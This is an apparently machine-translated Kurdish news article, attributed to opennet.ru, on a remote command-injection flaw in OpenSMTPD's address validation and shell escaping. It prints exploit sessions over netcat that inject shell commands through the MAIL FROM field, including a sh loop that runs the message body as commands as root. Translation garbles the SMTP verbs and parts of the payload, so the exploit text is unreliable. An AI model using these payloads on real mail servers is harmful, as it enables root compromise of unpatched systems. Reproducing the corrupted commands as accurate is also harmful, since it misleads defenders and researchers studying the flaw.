Di servera nameyê de ku ji hêla projeya OpenBSD ve hatî pêşve xistin
Du vebijarkên êrîşê têne pêşniyar kirin. Vebijarka yekem di veavakirina OpenSMTPD-ya xwerû de dixebite (tenê daxwaznameyên ji localhost qebûl dike) û dihêle hûn pirsgirêkê herêmî bi kar bînin, dema ku êrîşkar karibe xwe bigihîne navgîniya torê ya herêmî (loopback) li ser serverê (mînak, li ser pergalên mêvandariyê) . Vebijarka duyemîn diqewime dema ku OpenSMTPD ji bo wergirtina daxwazên torê yên derveyî tête mîheng kirin (pêşkêşkerek e-nameyê ku nameya sêyemîn qebûl dike). Lekolînwanan prototîpek îstismarek amade kirine ku hem bi guhertoya OpenSMTPD-ya ku di OpenBSD 6.6-ê de tê de heye hem jî bi guhertoyek portable ji bo pergalên xebitandinê yên din (di Testkirina Debian de hatî kirin) bi serfirazî dixebite.
Pirsgirêk ji ber xeletiyek di fonksiyona smtp_mailaddr() de ye, ku tê gotin ku rastbûna nirxên di qadên "MAIL JI" û "RCPT TO" yên ku şander / wergir diyar dikin û di dema pêwendiyê de derbas dibin kontrol bikin. bi servera nameyê. Ji bo kontrolkirina beşa navnîşana e-nameyê ya ku berî sembola "@" tê, fonksiyona smtp_mailaddr() tê gotin.
valid_localpart(), ku (MAILADDR_ALLOWED) tîpên "!#$%&'*/?^`{|}~+-=_", wekî ku ji hêla RFC 5322 ve tê xwestin qebûl dike.
Di vê rewşê de, revîna rasterast a rêzikê di fonksiyona mda_expand_token() de tê kirin, ku tenê tîpên "!#$%&'*?`{|}~" (MAILADDR_ESCAPE) diguherîne. Dûv re, rêza ku di mda_expand_token() de hatî amadekirin, dema ku gazî nûnerê radestkirinê (MDA) dike bi fermana 'execle("/bin/sh", "/bin/sh", "-c", mda_command,...' . Di rewşa danîna tîpên mbox bi rêya /bin/sh de, rêza "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}" tê destpêkirin, li wir nirxa "% {mbox.from}” daneyên reviyayî yên ji parametreya "MAIL FROM" vedihewîne.
Esasê lawaziyê ev e ku smtp_mailaddr() xwedan xeletiyek mentiqî ye, ji ber vê yekê, ger domainek vala ji e-nameyê re were şandin, fonksiyon kodek verastkirinê ya serketî vedigerîne, tewra heke beşa navnîşana berî "@" karakterên nederbasdar hebe. . Zêdetir, dema ku rêzek amade dike, fonksiyona mda_expand_token() ji hemî karakterên taybetî yên şêlê ya mimkun dernakeve, lê tenê karakterên taybetî yên ku di navnîşana e-nameyê de têne destûr kirin. Bi vî rengî, ji bo ku emrê xwe bimeşînin, bes e ku hûn di beşa herêmî ya e-nameyê de nîşana ";" bikar bînin. û cîh, ku di nav set MAILADDR_ESCAPE de ne û jê nerevin. Bo nimûne:
$nc 127.0.0.1 25
HELO profesor.falken
POSTE JI:<;xew 66;>
RCPT JI BO:
JIMARE
.
DEVJÊBERDAN
Piştî vê danişînê, OpenSMTPD, gava ku ji mbox re were radest kirin, dê fermanê bi şêlê bide destpêkirin
/usr/libexec/mail.local -f ;sleep 66; reh
Di heman demê de, îmkanên êrîşê ji ber vê yekê sînorkirî ne ku beşa herêmî ya navnîşanê ji 64 tîpan derbas nabe, û karakterên taybetî '$' û '|' Dema ku direvin bi ":" têne guhertin. Ji bo ku em vê sînordariyê derbas bikin, em vê rastiyê bikar tînin ku laşê nameyê piştî ku /usr/libexec/mail.local bi rêka têketinê ve tê veguheztin, yanî. Bi manîpulekirina navnîşanê, hûn dikarin tenê wergêra fermana sh bidin destpêkirin û laşê nameyê wekî komek rêwerzan bikar bînin. Ji ber ku sernavên SMTP-ê yên karûbar di destpêka nameyê de têne destnîşan kirin, tê pêşniyar kirin ku emrê xwendinê di xelekekê de bikar bînin da ku wan derbas bikin. Karûbarek xebitandinê tiştek bi vî rengî xuya dike:
$nc 192.168.56.143 25
HELO profesor.falken
POSTE JI:<;ji bo ez di 0 1 2 3 4 5 6 7 8 9 abcd;bixwînin r;kirin;sh;derketin 0;>
RCPT JI BO:[email parastî]>
JIMARE
#0
#1
...
#d
ji bo ez di WOPR de; bikin
echo -n "($i) " && id || rawesta
kirin > /root/x."`id -u`.""$$"
.
DEVJÊBERDAN
Source: opennet.ru